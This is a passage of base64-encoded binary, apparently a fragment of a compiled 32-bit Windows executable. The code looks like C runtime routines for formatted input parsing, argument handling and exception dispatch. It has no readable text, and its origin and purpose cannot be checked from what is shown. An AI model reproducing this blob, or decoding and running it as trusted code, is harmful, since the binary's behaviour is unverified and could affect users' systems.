wGjYUo/v//UI2FfP7//0ZQjYVE/v//UI2FIP7//1BW6Kb5//+DxBSFwA+EbwwAAP+1dP7//0foD/r//4vYD7bDUImdXP7//+gKbwAAWeuLi4X8/f//i4CEAAAAiwCKAIiFV/7//zrDD4XgAAAAi8FJiY1s/v//hcAPhM8AAAD/tXT+//9H6MD5//+LjUT+//+L2IqFV/7//4mdXP7//4gEDo2FKP7//1CNhXz+//9GUI2FRP7//1CNhSD+//9QVugG+f//g8QYhcAPhM8LAAAPtsNQ6H5uAADrbouNbP7//4vBSYmNbP7//4XAdGCLhUT+////hUD+//+IHAaNhSj+//9QjYV8/v//RlCNhUT+//9QjYUg/v//UFboq/j//4PEFIXAD4R0CwAA/7V0/v//R+gU+f//i9gPtsNQiZ1c/v//6A9uAABZWYXAdY2DvUD+//8AD4RjAQAAg/tldAmD+0UPhVUBAACLjWz+//+LwUmJjWz+//+FwA+EPgEAAIuFRP7//8YEBmWNhSj+//9QjYV8/v//RlCNhUT+//9QjYUg/v//UFboHvj//4PEFIXAD4TnCgAA/7V0/v//R+iH+P//i9iJnVz+//9Zg/stdTmLhUT+//+IHAaNhSj+//9QjYV8/v//RlCNhUT+//9QjYUg/v//UFbozff//4PEFIXAD4SWCgAA6wWD+yt1MIuNbP7//4vBSYmNbP7//4XAdQghhWz+///rFf+1dP7//0foFPj//4vYWYmdXP7//w+2w1DoDm0AAOtui41s/v//i8FJiY1s/v//hcB0YIuFRP7///+FQP7//4gcBo2FKP7//1CNhXz+//9GUI2FRP7//1CNhSD+//9QVug79///g8QUhcAPhAQKAAD/tXT+//9H6KT3//+L2A+2w1CJnVz+///on2wAAFlZhcB1jU+JvXD+//+JvWD+//+D+/90Dv+1dP7//1PoL2oAAFlZg71A/v//AA+EtAkAAIC9ev7//wAPhUX8//+LhUT+//+Njfz9////hTD+//9Ri41I/v//UMYEBgAPvoVm/v//UUhQ/zUgXkQA/xUMokIA/9CDxBDpB/z//4XSdRFHx4U4/v//AQAAAIm9bP7//4qFe/7//4TAfgfGhWf+//8Bi41w/v//i7VI/v//SYmNcP7//4mNYP7//4P7/3QU/7V0/v//U+iFaQAAWVmLjXD+//+LvVj+//+D/2N0Bv+NLP7//4O9OP7//wB0F4uVbP7//4vCSomVbP7//4XAD4QDBAAA/7V0/v//QYmNcP7//4mNYP7//+h09v//i9iJnVz+//9Zg/v/D4SzAwAAg/9jdEaD/3N1E4P7CXwJg/sND46bAwAAg/sgdS6D/3sPhY0DAAAz0ovDwfgDi8uD4QdC0+IPvkwF3A++hVf+//8zyIXRD4RoAwAAgL16/v//AA+FTwMAAIuFLP7//4XAD4QACAAAgL1n/v//AA+EHAMAAA+2w1CInRz+///oT23//1mFwHQli4Vw/v///7V0/v//QImFcP7//4mFYP7//+i99f//WYiFHf7//42F/P3//8eFEP7//z8AAABQi4X8/f///3B0jYUc/v//UI2FEP7//1DosEAAAIuVSP7//4PEEGaLhRD+//9miQKDwgL/jSz+//+JlUj+///pqAIAAIvBg+hwD4QZAwAAg+gDD4RO/v//SEgPhA8DAACD6AMPhF76//+D6AN0N4u9aP7//w+2BzvDD4UMBwAAioV5/v///siAvXr+//8AD4UQ+v//i5UU/v//iZUY/v//6f/5//+KhXv+//+EwH4HxoVn/v//AYu1aP7//0aAPl51CEbGhVf+////aiCNRdxqAFDo1zsAAIPEDIA+XXUJsl3GRecgRusGipVP/v//ig6A+V0PhJQAAABGgPktdV6E0nRaigY8XXRURom1aP7//zrQcwSK4OsEiuKK0DrUcyaKxA+28irCD7b4i9aLzsHqA4PhB7AB0uAIRBXcRk916ou1aP7//w+2zLABi9GD4QfB6gPS4AhEFdwy0usfiI1P/v//sAEPtsmL0YPhB8HqA9LgCEQV3IqVT/7//4oOgPldD4Vy////i51c/v//gD4AD4RkBgAAibVo/v//6Rb9//+D+yt1P4u9bP7//0+JvWz+//91DYXSdAnGhXj+//8B6yn/tXT+//9GibVw/v//ibVg/v//6Mzz//+L2FmJnVz+///rBou9bP7//4P7MA+FwAEAAP+1dP7//0aJtXD+//+JtWD+///omvP//4vYiZ1c/v//WYD7eHR0gPtYdG+LjVj+///HhUD+//8BAAAAg/l4dCaDvTj+//8AdA9Pib1s/v//dQb+hXj+//9qb1mJjVj+///pYAEAAE6JtXD+//+JtWD+//+D+/90FP+1dP7//1Po7mUAAFlZi41Y/v//ajBbiZ1c/v//6SwBAAD/tXT+//9GibVw/v//ibVg/v//6ADz//+DvTj+//8Ai9hZiZ1c/v//dBSD7wKJvWz+//+D/wF9Bv6FeP7//2p46Xv///+LjUj+//+IGUFIiY1I/v//iYUs/v//6wFGi41w/v//6QP8//+LhXD+//9IiYVw/v//iYVg/v//g/v/dA7/tXT+//9T6EtlAABZWYuFSP7//zvwD4TPBAAAgL16/v//AA+FYPf///+FMP7//4P/Yw+EUff//4C9Z/7//wCLvWj+//90CjPJZokI6T73///GAADpNvf//8aFZv7//wGD+y11CcaFVv7//wHrBYP7K3U4T4m9bP7//3UIhdJ0BLAB6y3/tXT+//9GibVw/v//ibVg/v//6Pvx//+L2FmJnVz+//+LjVj+//+KhXj+//+DvST+//8AD4R8AQAAhMAPhT0BAACD+Xh0Z4P5cHRiD7bDUOjKZgAAi71Y/v//WYXAD4T5AAAAg/9vdSSD+zgPjesAAACLhVD+//+LjTz+//8PpMgDiYVQ/v//weED622LlVD+//9qAGoKUouVPP7//1LoB2cAAIvIiZVQ/v//60wPtsNQ6L5mAABZhcAPhJcAAACLhTz+//+LjVD+//8PpMEEU8HgBImNUP7//4mFPP7//+gN8f//i71Y/v//i9hZi408/v//iZ1c/v///4VA/v//jUPQmQPIi4VQ/v//iY08/v//E8KDvTj+//8AiYVQ/v//dAj/jWz+//90Zv+1dP7//0aJtXD+//+JtWD+///o0PD//1mLjVj+//+L2ImdXP7//+nr/v//i71Y/v//Tom1cP7//4m1YP7//4P7/3QW/7V0/v//U+hYYwAAWVnrBou9WP7//4uNPP7//4uFUP7//4C9Vv7//wAPhCcBAAD32YmNPP7//4PQAPfYiYVQ/v//6Q8BAACEwA+F6gAAAIP5eHQ/g/lwdDoPtsNQ6E5lAACLvVj+//9ZhcAPhKYAAACD/291FIP7OA+NmAAAAIuFNP7//8HgA+s5a4U0/v//CuswD7bDUOhqZQAAWYXAdHDBpTT+//8EU+jV7///i71Y/v//i9iLhTT+//9ZiZ1c/v///4VA/v//g8DQA8ODvTj+//8AiYU0/v//dAj/jWz+//90YP+1dP7//0aJtXD+//+JtWD+///op+///1mLjVj+//+L2ImdXP7//+k+////i71Y/v//Tom1cP7//4m1YP7//4P7/3QW/7V0/v//U+gvYgAAWVnrBou9WP7//4uFNP7//4C9Vv7//wB0CPfYiYU0/v//g+9G998b/yO9QP7//w+EjwEAAIC9ev7//wAPhSD0////hTD+//+LhTT+//+DvST+//8AdByLhUj+//+LlTz+//+JEIuVUP7//4lQBOnv8///io1m/v//i71o/v//hMmLjUj+//90B4kB6djz//9miQHp0PP//zrBdQY4TwF1AUf/tXT+//9GibVw/v//ibVg/v//6Lbu//+L2A+2B0eJnVz+//+JvWj+//9ZO8MPhdwAAAAPtsNQ6AFm//9ZhcB0Kv+1dP7//+iC7v//WQ+2D0eJvWj+//87yA+FkwAAAIm1cP7//4m1YP7//4P7/3UTgD8lD4WpAAAAgH8Bbg+FnwAAAIoHhMAPhafv///pkAAAAIqFe/7//4TAfgczwGaJAusDxgIA6ENr///HAAwAAADrb4P7/3QO/7V0/v//U+jKYAAAWVnHhQz+//8BAAAA61DoF2v//4C9Z/7//wDHAAwAAAB0BzPAZokG6zXGBgDrMIu9dP7//4PO/zvGdAlXUOiIYAAAWVk73nQWV+sLg/v/dA7/tXT+//9T6G5gAABZWYO9KP7//wF1DP+1RP7//+gUQP//WYPI/zvYdRSLjTD+//+FyXUxOI15/v//dCvrJ4O9DP7//wF1GOiOav//xwAWAAAA6MV+//+LhTD+///rCIuNMP7//4vBgL0I/v//AHQKi40E/v//g2Fw/V6LTfxfM81b6Igy//+L5V3DVYvsU1aLdQj/dQz/Bugd7f//i9hZg/v/dA4PtstR6ENiAABZhcB14F6Lw1tdw1WL7FaLdQxXiwY5RQh1TIt9EGoEUIsPO00UdS7oGJn//4kHWVmFwHUEM8DrMYtFGMcAAQAAAIsGA8BQ/3UU/zfoRG7//4PEDOsPUejCmf//g8QMhcB00okH0SYzwEBfXl3DVYvsU1aLdQj3xgD/AAB1EQ+33g+2w1Doj2EAAFmFwHUJD7feg+Pfg+sHXmaLw1tdw1WL7Lj//wAAZjtFCHQGXenfYwAAXcNVi+xWV4t9CP91DP8H6BJiAAAPt/C4//8AAFlmO/B0DmoIVuhB6///WVmFwHXaX2aLxl5dw1WL7IHsTAMAAKEIVEQAM8WJRfyLVRSLRQyLTQhTM9uJlcz8//+JjSD9//+NlUD9//+JhST9//+JlQj9///Hhdz8//9eAQAAiZ3U/P//iZ0U/f//iZ3E/P//iZ3o/P//iZ38/P//iZ3I/P//VovzibU4/f//hcB1GOjGaP//xwAWAAAA6P18//+DyP/pgRMAAIXJdORX/3UQjY20/P//6AY8//+LhST9//+L+4idPv3//4m9MP3//4m9EP3//w+3AImd4Pz//2aFwA+EKBMAAGoIUOhd6v//WVmFwHRZi4Ug/f//T1BQjYUQ/f//ib0Q/f//UOjT/v//WVkPt8BQ6LL+//+LtST9//9ZWYPGAmoID7cGUOgb6v//WVmFwHXsi70Q/f//ibUk/f//ib0w/f//6QcSAACLjST9//9qJVoPtwFmO9APhX8RAABmO1ECD4RiEQAAi70k/f//i/OKw4md7Pz//4rTibXQ/P//tgGJnfj8//+Ly4md8Pz//4mdLP3//4md2Pz//4id5/z//4idD/3//4iFN/3//4iVB/3//4idH/3//4idP/3//4i1K/3//4mN9Pz//4PHAg+3H/fDAP8AAHU5D7bDUOhfXwAAipUH/f//WYuN9Pz//4XAdBP/hfD8//9rxgqNc9AD8OmCAAAAirUr/f//ioU3/f//g/tOD48IAQAAdGuD+yoPhPAAAACD+0Z0XYP7SXQTg/tMD4X7AAAA/saItSv9///rRQ+3RwKD+DZ1J2aDfwQ0dSCLjfT8//+DxwSDpej8//8AQYOl/Pz//wCJjfT8///rFYP4M3VtZoN/BDJ1ZoPHBIuN9Pz//4qdP/3//4q1K/3//4qFN/3//4TSD4Qp////ib0k/f//i70w/f//ibUs/f//i7XQ/P//hMAPhb4AAACLhcz8//+Jhcj8//+DwASJhcz8//+LQPyJhQD9///pogAAAGpkWWY7wXSVamlZZjvBdI1qb1lmO8F0hWp4WWY7wQ+Eef///2pYWWY7wXUj6Wz////+wIiFN/3//+ll////g/todEZqbFg72HQSg/t3dCf+woiVB/3//+lB////amyNRwJbZjkYdQeL+OkJ/////saItSv9//+KnT/9///+w4idP/3//+kg////ip0//f///s6ItSv9///+y+vjg6UA/f//ADL/hNt1GouFJP3//w+3AIP4U3QJg/hDdAT+w+sDgMv/i4Uk/f//aiAPtxBYC9BqbliJlRj9//870A+ELQEAAIP6Y3Qmg/p7dCH/tSD9//+NhRD9//9Q6Pv7//+LvRD9//9Zib0w/f//6xj/tSD9//9Hib0w/f//ib0Q/f//6PhdAABZD7fIuP//AACJjTj9//9mO8EPhKYDAACLlRj9//+LhfD8//+FwHQNg70s/f//AA+ELg8AAIC9N/3//wB1VIP6Y3QKg/pzdAWD+nt1RYuFyPz//4PABImFzPz//4tA/ImFAP3//4uFzPz//4mFyPz//4PABImFzPz//4tA/ImF2Pz//4P4AQ+C6g4AAIuF8Pz//4P6bw+PZwYAAA+ELQoAAIP6Yw+ECwUAAGpkWDvQD4QZCgAAD45xBgAAg/pnfkKD+ml0MGpuWDvQD4VcBgAAgL03/f//AIvHD4SXDQAAi504/f//6akEAACLjTj9///pKf///4v4ib0Y/f//6awHAACLnTj9//8z9motWWY7y3UMi4UI/f//RmaJCOsIaitYZjvDdSL/jSz9//9H/7Ug/f//ib0w/f//6LpcAAAPt9hZiZ04/f//g73w/P//AA+FiAAAAIONLP3////rfw+2w1Do0VsAAFmFwHR9i40s/f//i8FJiY0s/f//hcB0aouNCP3///+F+Pz//2YPvsNmiQRxjYXU/P//UI2FQP3//0ZQjYUI/f//UI2F3Pz//1BW6HX5//+DxBSFwA+E/QEAAP+1IP3//0eJvTD9///oJVwAAA+32FmJnTj9///3wwD/AAAPhHX///+LhbT8//+LgIQAAACLQDAPtziLzw++wzvIi40s/f//D4XuAAAAi8FJiY0s/f//hcAPhN0AAAD/tSD9////hTD9///oyFsAAA+32IuFCP3//4mdOP3//2aJPHCNhdT8//9QjYVA/f//RlCNhQj9//9QjYXc/P//UFboxfj//4PEGIXAD4RNAQAAvwD/AACF33V8D7bDUOi1WgAAWYuNLP3//4XAdG6LwUmJjSz9//+FwHRhi4UI/f///4X4/P//ZokccI2F1Pz//1CNhUD9//9GUI2FCP3//1CNhdz8//9QVuhd+P//g8QUhcAPhOUAAAD/tSD9////hTD9///oDlsAAA+32FmJnTj9///rgIuNLP3//4O9+Pz//wAPhL4BAABqZVpmO9N0DGpFWGY7ww+FqgEAAIvBSYmNLP3//4XAD4SZAQAAi4UI/f//ZokUcI2F1Pz//1CNhUD9//9GUI2FCP3//1CNhdz8//9QVujQ9///g8QUhcB0XIu9MP3///+1IP3//0fohFoAAFlqLQ+32FmJnTj9//9mO8sPhZcAAACLhQj9//9miQxwjYXU/P//UI2FQP3//0ZQjYUI/f//UI2F3Pz//1BW6HT3//+DxBSFwHVvi7U4/f//M9uLhRT9//+DvcT8//8BdQdQ6M02//9Zg73U/P//AXUM/7UI/f//6Lg2//9ZuP//AABmO8YPhewLAACLheD8//+FwA+F+QsAADiFPv3//w+F7QsAAIPI/+nlCwAAaitYZjvDD4WQAAAAi40s/f//i8FJiY0s/f//hcB1ZyGFLP3//+t1D7bDUOjnWAAAWYXAdHeLjSz9//+LwUmJjSz9//+FwHRki4UI/f///4X4/P//ZokccI2F1Pz//1CNhUD9//9GUI2FCP3//1CNhdz8//9QVuiP9v//g8QUhcAPhBf/////tSD9//9H6EVZAAAPt9hZiZ04/f//98MA/wAAdIPrBou9MP3///+1IP3//09Tib0w/f//ib0Q/f//6Nj2//+Dvfj8//8AWVkPhMn+//+AvTf9//8AD4WRAAAAi4UI/f//M8n/heD8//9miQxwi4Xc/P//jTxFAgAAAFfohY///4vwWYX2D4SM/v//jU//Uf+1CP3//1dWagDoT18AAIPEFIXAdBKD+BYPhNUKAACD+CIPhMwKAACLjQD9//+NhbT8//9QD76FK/3//1ZRSFD/NSBeRAD/FQyiQgD/0FboHjX//4PEFIu9MP3//4uFJP3//4qNPv3///7Bg8ACiI0+/f//iYUk/f//6VwJAACFwHUQ/4Us/f//x4Xw/P//AQAAAITbfgfGhR/9//8Bi4Uw/f///7Ug/f//i504/f//SIu1AP3//1OJhTD9//+JhRD9///ov/X//4u9GP3//1lZg/9jdAb/jdj8//+DvfD8//8AdBeLjSz9//+LwUmJjSz9//+FwA+ESgQAAIuFMP3///+1IP3//0CJhTD9//+JhRD9///oqFcAAA+32Lj//wAAiZ04/f//WWY7ww+E8wMAAIP/Y3RPg/9zdRaD+wlyCYP7DQ+G2wMAAGogWGY72HU0g/97D4XKAwAAD7fDM9KLyEKD4QfB6APT4ouNFP3//w++DAgPvoXn/P//M8iF0Q+EnwMAAIC9N/3//wAPhYoDAACLjdj8//+FyQ+E3wgAAIC9H/3//wAPhCkDAACLlQD9//9miRqDwgJJiZUA/f//iY3Y/P//6RD///+LwoPocA+EugMAAIPoAw+Es/7//0hID4SwAwAAg+gDD4SBAQAAg+gDdDuLhST9//+LnTj9//9mORgPhWIIAACKjT79///+yYC9N/3//wAPhUn+//+Llcj8//+Jlcz8///pOP7//4TbfgfGhR/9//8Bi70k/f//g8cCal5YZjsHdQqDxwLGhef8////i4UU/f//hcB1I2gAIAAA6AuN//+JhRT9//9ZhcAPhC4IAADHhcT8//8BAAAAaAAgAAAz21NQ6GwnAACDxAxqXVpmOxcPhbEAAACLhRT9//+L8oPHAsZACyDplwAAAA+3yIPHAmotWGY7wXVvZoX2dGoPtwdmO9B0YoPHAom9JP3//2Y78HMEi/jrCw+3/ovwibXQ/P//ib3s/P//Zjv3cy0rvdD8//8Pt9+LvRT9//8Pt/aL1ovOweoDg+EHsAHS4AgEOkZLdeuLvez8//8Pt8+L84u9JP3//+sCi/GL0bABg+EHweoD0uCLjRT9//9qXQgEClqJtdD8//8PtwdmO9APhVf///9mOR8PhPsGAACJvST9///pLP3//4u9GP3//2otWGY7wXUJxoUP/f//AesIaitYZjvBdRf/jSz9//8PhYYAAACDvfD8//8AdH23AYu1MP3//2owWGY7wQ+FLgIAAP+1IP3//0aJtTD9//+JtRD9///o8FQAAFkPt8hqeFiJjTj9//9mO8EPhJ0AAABqWFpmO9EPhJEAAADHhfj8//8BAAAAO/h0ToO98Pz//wB0Cv+NLP3//3UC/sdqb1qJlRj9///pzgEAAIu1MP3///+1IP3//0aJtTD9//+JtRD9///ogVQAAFkPt8iJjTj9///pXv///06JtTD9//+JtRD9//+LtSD9//9WUege8v//WVlqMFiLyIuVGP3//2p4iY04/f//WOlyAQAARom1MP3//4m1EP3//4u1IP3//1boJFQAAIO98Pz//wBZD7fIiY04/f//dBaLhSz9//+D6AKJhSz9//+D+AF9Av7HanhYi9CJlRj9///pIAEAAIOl7Pz//wCNhez8//9TUf+1AP3//1DoADoAAIPEEIP4Ig+EggUAAIuF7Pz//4XAD47Q+///AYUA/f//KYXY/P//6b/7//+DxgLpt/v//4uFMP3///+1IP3//0hTiYUw/f//iYUQ/f//6ETx//9ZWYuFAP3//zvwD4Q0+f//gL03/f//AA+F9vr///+F4Pz//4P/Yw+E5/r//4C9H/3//wCLvTD9//90CjPJZokI6dT6///GAADpzPr//8aFK/3//wFqLVhmO8F1CcaFD/3//wHrCGorWGY7wXU9/40s/f//dQ2DvfD8//8AdAS3Aesoi7Ug/f//R1aJvTD9//+JvRD9///o41IAAFkPt8jpif7//4uVGP3//2p4WIu1IP3//4O99Pz//wAPhMwBAACE/w+FiwEAAIudMP3//zvQD4SLAAAAg/pwD4SCAAAA98EA/wAAD4VCAQAAD7bBUOjKUQAAi70Y/f//WYXAD4RIAQAAam9YO/h1MIuNOP3//2o4WGY7wQ+GFwEAAIuF/Pz//4u16Pz//w+k8AOJhfz8///B5gPphgAAAIuV/Pz//2oAagpSi5Xo/P//Uuj5UQAAi404/f//i/CJlfz8///rX/fBAP8AAA+FwAAAAA+2wVDonlEAAFmFwA+EqAAAAIuF6Pz//4uN/Pz//4u1OP3//w+kwQRWweAEiY38/P//iYXo/P//6Gnv//+LvRj9//+Ltej8//9ZD7fIiY04/f///4X4/P//D7fBajBZK8GZA/CLhfz8//+Jtej8//8TwoO98Pz//wCJhfz8//90CP+NLP3//3Rvi7Ug/f//Q1aJnTD9//+JnRD9///ob1EAAIuVGP3//1kPt8hqeImNOP3//1jpp/7//4uNOP3//4u9GP3//0tWUYmdMP3//4mdEP3//+j97v//WVnrDouNOP3//+vgi70Y/f//i4X8/P//i7Xo/P//gL0P/f//AA+EVgEAAPfeagBbE8OJtej8///32ImF/Pz//+k+AQAAhP8PhRkBAACLnez8//+LtTD9//870HRMg/pwdEf3wQD/AAAPhdUAAAAPtsFQ6ABQAACLvRj9//9Zi404/f//hcAPhL0AAABqb1g7+HURajhYZjvBD4aqAAAAweMD6z5r2wrrOffBAP8AAA+FjgAAAA+2wVDoD1AAAFmFwHR6i7U4/f//VsHjBOj67f//i70Y/f//WQ+3yImNOP3///+F+Pz//4PD0A+3wQPYg73w/P//AImd7Pz//3QI/40s/f//dGWLtTD9////tSD9//9GibUw/f//ibUQ/f//6BJQAACLlRj9//9ZD7fIaniJjTj9//9Y6Rz///+LjTj9//+LvRj9////tSD9//9OUYm1MP3//4m1EP3//+ib7f//WVnrBou9GP3//4C9D/3//wB0DIuF7Pz///fYM9vrCDPbi4Xs/P//g+9G998b/yO9+Pz//w+EOwEAAIC9N/3//wCLvTD9//8PhW/y////heD8//+DvfT8//8AdByLhQD9//+Llej8//+JEIuV/Pz//4lQBOlE8v//io0r/f//i504/f//hMmLjQD9//90B4kB6dv2//9miQHp0/b//2Y70HUOjUECZjsQdQaJhST9//+LtSD9//9HVom9MP3//4m9EP3//+gMTwAAWYuNJP3//w+32ImdOP3//2aLAYPBAomNJP3//2Y7ww+FyQAAALj//wAAZjvDdSmLnST9//+LtTj9//9qJVlmOQsPhZH0//9qblhmOUMCD4WE9P//M9vrCDPbi7U4/f//i4Uk/f//D7cAZoXAD4V67f//6WH0////tSD9//9R6E/s//9ZWelI9P//i4UA/f//hNt+CTPJM9tmiQjrBDPbiBjoulX//8cADAAAAIu1OP3//+kj9P///7Ug/f//U+gP7P//WTPbWUPr4uiRVf//gL0f/f//AMcADAAAAHQKM8BmiQbp6vP//zPbiB7rvlZT64yLtTj9//8z2+nh8///g/sBdRDoV1X//8cAFgAAAOiOaf//i4Xg/P//gL3A/P//AF90CouNvPz//4NhcP2LTfxeM81b6Fsd//+L5V3DM8BQUFBQUOhoaf//zFWL7ItFCIsAgThjc23gdSWDeBADdR+LQBQ9IAWTGXQbPSEFkxl0FD0iBZMZdA09AECZAXQGM8BdwgQA6PW1///MaIMYQgDoBbT//1kzwMNVi+xW6N6c//+L8IX2D4RFAQAAi1Zci8pXi30IOTl0DYPBDI2CkAAAADvIcu+NgpAAAAA7yHMEOTl0AjPJhckPhBABAACLUQiF0g+EBQEAAIP6BXUMg2EIADPAQOn2AAAAg/oBdQiDyP/p6QAAAItFDFOLXmCJRmCDeQQID4XAAAAAai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